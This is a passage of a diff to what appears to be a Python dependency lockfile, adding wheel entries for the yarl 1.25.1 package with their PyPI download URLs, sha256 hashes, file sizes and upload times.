+ { url = "https://files.pythonhosted.org/packages/30/d2/7d1e0ab9f8390e1fbcede5a6dbf70d23c96ad09b8c5567f3a514d1ddb0e2/yarl-1.25.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:14b79a30a93a3ce2e8832603fd0ab780ada281b0ba5110b519a634f2d7d7d1fc", size = 115392, upload-time = "2026-09-15T19:31:44.371Z" },
+ { url = "https://files.pythonhosted.org/packages/71/e1/5ba1e3a2a22139213655e760919038e8ed7e2d4a99826d0bbddb3beb96e5/yarl-1.25.1-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:4bd6340d20ae2c7ca719b87b426e808e90743b676d05d4c26c4fb5ca71f41184", size = 107493, upload-time = "2026-09-15T19:31:46.273Z" },
+ { url = "https://files.pythonhosted.org/packages/f5/53/780653d5e0f73831f467cf13548912e5eec97f21dc49fc8daf21da027df4/yarl-1.25.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:126a2533570c554719ca40a1288fdee1700b6bc82e7131aa69fa85252d92e651", size = 122537, upload-time = "2026-09-15T19:31:48.654Z" },
+ { url = "https://files.pythonhosted.org/packages/03/92/d54fa70236c6036271c9c9c09fd978df5cbe3ef49ef6c46e9b833476d215/yarl-1.25.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a3faadac7d812ddac258feb57b9846b60c1b437c4f4b9ad42595c6f6fe4390df", size = 126170, upload-time = "2026-09-15T19:31:50.872Z" },
+ { url = "https://files.pythonhosted.org/packages/0e/b7/a82a49bf88340b837ef6972b508a1604ae377b9e6904b46b10cf5f1cf925/yarl-1.25.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:be80550d9bfe83d9b62398a37081a90434e6df2d978ec345c3d2820de6beddab", size = 117012, upload-time = "2026-09-15T19:31:53.189Z" },
+ { url = "https://files.pythonhosted.org/packages/ef/78/5d684b411e3f3602464ee9b538db48205038f8605872985f61efb809ced0/yarl-1.25.1-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e07595c7d6f4db270ceede356a1bd1c07a34f1c26f958d1ed0cd7b48e0d2bba3", size = 114950, upload-time = "2026-09-15T19:31:55.694Z" },
+ { url = "https://files.pythonhosted.org/packages/2f/11/51d82b852c64f7fad0fc7a7ff3031517204887e874c722bbca839c0b23ac/yarl-1.25.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:eb96ed1ae6c7d072d60840c0434aef07a2df611812810807fbc54263a6053e9a", size = 115428, upload-time = "2026-09-15T19:31:57.966Z" },
+ { url = "https://files.pythonhosted.org/packages/e4/49/9d1978049bf646b9ea918313926453c6901b71c92f097467777d47d36a88/yarl-1.25.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:3feb99222553a8cbedfa52c2f59dd84c3f50d5b582c728d522caf8d72769a54b", size = 108428, upload-time = "2026-09-15T19:32:00.048Z" },
+ { url = "https://files.pythonhosted.org/packages/43/35/7b8f1ebb45d7ec3dda7d1909bf44f458de41ef91e2937f107733582a5166/yarl-1.25.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:a2ed0ba415ccdf08f14bf544cb78346d0f76086707ffee24921a2c84dbf1305a", size = 121961, upload-time = "2026-09-15T19:32:02.436Z" },
+ { url = "https://files.pythonhosted.org/packages/63/d6/d8b689ab7ca26edeb85f6ff28812aac7a25376eefc1780e303a7bfbaceff/yarl-1.25.1-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:2b49375d22299b0a834c2bca72f39aaecc270d96fb24c30424899676f487b22a", size = 114961, upload-time = "2026-09-15T19:32:04.456Z" },
+ { url = "https://files.pythonhosted.org/packages/cf/d5/1a1798ea4dc6b7ee3260010a27907ebc697c95dae99817d817ed446d24aa/yarl-1.25.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:ef74070ac553c59eb4f04258722066d6c6135b7baa03b2e9f2da65c096e96d98", size = 120036, upload-time = "2026-09-15T19:32:06.5Z" },
+ { url = "https://files.pythonhosted.org/packages/91/8d/b1b35ed7903da6669b1d367cb2c09436acd4ff508029b4f39a0c0c2058fc/yarl-1.25.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:0a66db89ea473abeac4b70523cafd94db3772380e565f9d28af7a179b7af71fa", size = 117276, upload-time = "2026-09-15T19:32:09.401Z" },
+ { url = "https://files.pythonhosted.org/packages/3a/8f/4db01cef62caff0d7a4593ed694fb8a41a27a11158cab80d290221f13e57/yarl-1.25.1-cp313-cp313-win_amd64.whl", hash = "sha256:1f51020b2eb8a003c84925638ec63c21a750a4bddd3a22ec8eac6a742dadf1b9", size = 101945, upload-time = "2026-09-15T19:32:11.545Z" },
+ { url = "https://files.pythonhosted.org/packages/c0/5e/3ce00497c5c0babb74d4130c10c3828ccd215b4819d12020c42429f991ac/yarl-1.25.1-cp313-cp313-win_arm64.whl", hash = "sha256:b10dd0557ba422715b5206b3743192135a6022acca8baec51aa127d0a75db8fe", size = 97270, upload-time = "2026-09-15T19:32:14.127Z" },
+ { url = "https://files.pythonhosted.org/packages/54/22/318c7980066769c6bcd9221ed2248294f5698811da099013098c670565ed/yarl-1.25.1-py3-none-any.whl", hash = "sha256:681c758b0490f9e96b78e5fa8e8dc6e648e9185bb6eaebe73183c33ea0c445f3", size = 63617, upload-time = "2026-09-15T19:34:59.616Z" },
]
[[package]]